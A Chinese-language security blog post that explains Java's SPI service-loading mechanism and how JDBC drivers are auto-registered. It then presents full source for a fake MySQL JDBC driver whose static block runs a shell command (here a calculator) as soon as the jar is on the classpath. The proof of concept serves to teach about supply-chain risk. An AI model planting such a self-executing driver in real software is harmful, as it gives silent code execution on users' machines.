0x00 SPI機制
SPI(Service Provider Interface),是JDK內建的一種服務提供發現機制,可以用來啟用框架擴充套件和替換元件,主要是被框架的開發人員使用,比如java。sql。Driver介面,其他不同廠商可以針對同一介面做出不同的實現,MySQL和PostgreSQL都有不同的實現提供給使用者,而Java的SPI機制可以為某個介面尋找服務實現。以JDBC為例,如圖:
如果有興趣,可以去找相關資料做進一步的深入瞭解。
0x01 SPI與JDBC
經常看到有程式碼在寫JDBC連結時,會用到以下兩步:
// RegisterDriverManager。registerDriver(new com。mysql。jdbc。Driver());// ConnectDriverManager。getConnection(“jdbc:mysql://127。0。0。1:3306/test”);
我之前在
以MySQL JDBC Driver為例,寫一個連線MySQL資料庫的測試用例。我們透過registerDriver方法指定JDBC驅動,這裡由於我的MySQL JDBC Driver升級了,從mysql-connector-5。x升級到了mysql-connector-8。x,所以報出以下錯誤
Loading class ‘com。mysql。jdbc。Driver’。 This is deprecated。 The new driver class is ‘com。mysql。cj。jdbc。Driver’。 The driver is automatically registered via the SPI and manual loading of the driver class is generally unnecessary。
報錯裡清楚的告訴我們是透過SPI機制完成了自動註冊,通常沒有必要手工註冊載入。
0x02 SPI如何打破雙親委派機制
說到SPI機制,還得從類載入的過程說起。Java類載入過程中,有一個環境是初始化(Initialization),初始化階段會執行被載入類的Static Blocks。
還是以MySQL JDBC Driver為例,除錯瞭解下JDBC驅動的程式碼呼叫邏輯,進入
DriverManager
類
com。mysql。cj。jdbc。Driver
中的靜態程式碼塊呼叫了
DriverManager
類的
registerDriver
方法,因此JVM又會去載入
DriverManager
類,載入過程中
DriverManager
的靜態程式碼塊被執行。而
DriverManager
的靜態程式碼塊中呼叫了
loadInitialDrivers
方法
loadInitialDrivers
方法裡使用了SPI機制去獲取Driver類的擴充套件點實現。下面是SPI的部分原始碼:
可以看到SPI機制使用
Thread。currentThread()。getContextClassLoader()
來獲取類載入器,而擴充套件點實現類透過
Class<?> c = Class。forName(cn, false, loader)
來獲取。
這裡的核心是透過
Class。forName()
載入我們在
META-INF/services/java。sql。Driver
檔案中寫的實現類
Class。forName()
使用當前的ClassLoader,我們是在
DriverManager
類裡呼叫ServiceLoader的,所以當前類也就是
DriverManager
,它的載入器是
Bootstrap ClassLoader
。我們知道
Bootstrap ClassLoader
載入rt。jar包下的所有類,要用
Bootstrap ClassLoader
去載入使用者自定義的類是違背雙親委派的,所以使用
Thread。currentThread()。getContextClassLoader
去指定
AppClassLoader
0x03 實現JDBC Driver後門
檢視ClassPath中有哪些JDBC Driver
import java。sql。Driver;import java。util。Iterator;import java。util。ServiceLoader;public class JdbcDriverList { public static void main(String[] args) { ServiceLoader
下面的結果是我們的環境中有4種不同資料庫的JDBC Driver
實現JDBC Driver後門
在瞭解了原理以後,考慮自己去實現一個MySQL JDBC Driver的後門。目的是當用戶引入fake MySQL JDBC Driver後,在建立JDBC連結時,觸發執行命令,彈出計算器。由於JDBC是透過SPI機制實現的,所以不需要使用者指定JDBC驅動,就可以自動載入後門驅動。
jar包結構如圖
MySQLDriver。java ,執行命令的部分在靜態程式碼塊裡定義,方便在initialization階段直接載入
package com。mysql。fake。jdbc;import java。sql。*;import java。util。*;import java。util。logging。*;public class MySQLDriver implements java。sql。Driver { protected static boolean DEBUG = false; protected static final String WindowsCmd = “calc”; protected static final String LinuxCmd = “open -a calculator”; protected static String shell; protected static String args; protected static String cmd; static{ if(DEBUG){ Logger。getGlobal()。info(“Entered static JDBC driver initialization block, executing the payload。。。”); } if( System。getProperty(“os。name”)。toLowerCase()。contains(“windows”) ){ shell = “cmd。exe”; args = “/c”; cmd = WindowsCmd; } else { shell = “/bin/sh”; args = “-c”; cmd = LinuxCmd; } try{ Runtime。getRuntime()。exec(new String[] {shell, args, cmd}); } catch(Exception ignored) { } } // JDBC methods below public boolean acceptsURL(String url){ if(DEBUG){ Logger。getGlobal()。info(“acceptsURL() called: ”+url); } return false; } public Connection connect(String url, Properties info){ if(DEBUG){ Logger。getGlobal()。info(“connect() called: ”+url); } return null; } public int getMajorVersion(){ if(DEBUG){ Logger。getGlobal()。info(“getMajorVersion() called”); } return 1; } public int getMinorVersion(){ if(DEBUG){ Logger。getGlobal()。info(“getMajorVersion() called”); } return 0; } public Logger getParentLogger(){ if(DEBUG){ Logger。getGlobal()。info(“getParentLogger() called”); } return null; } public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){ if(DEBUG){ Logger。getGlobal()。info(“getPropertyInfo() called: ”+url); } return new DriverPropertyInfo[0]; } public boolean jdbcCompliant(){ if(DEBUG){ Logger。getGlobal()。info(“jdbcCompliant() called”); } return true; }}
打成jar包後匯入,再次檢視
再次連線MySQL資料庫,執行命令彈出計算器,最終達到後門效果。
from https://tttang。com/archive/1819/
猜你喜歡
- 2022-12-10Java非同步程式設計(5種非同步實現方式詳解)
- 2021-12-10殘特奧會圓滿閉幕!精彩瞬間難忘 友誼彌足珍貴
- 2021-05-152020年什麼程式語言最受歡迎,待遇最高?
- 2021-05-08開發者將會分享關於《Outriders》發行不順利的“具體細節”
- 2021-04-20我的世界1.15版本終於更新了!爬行者被正式更名為“苦力怕”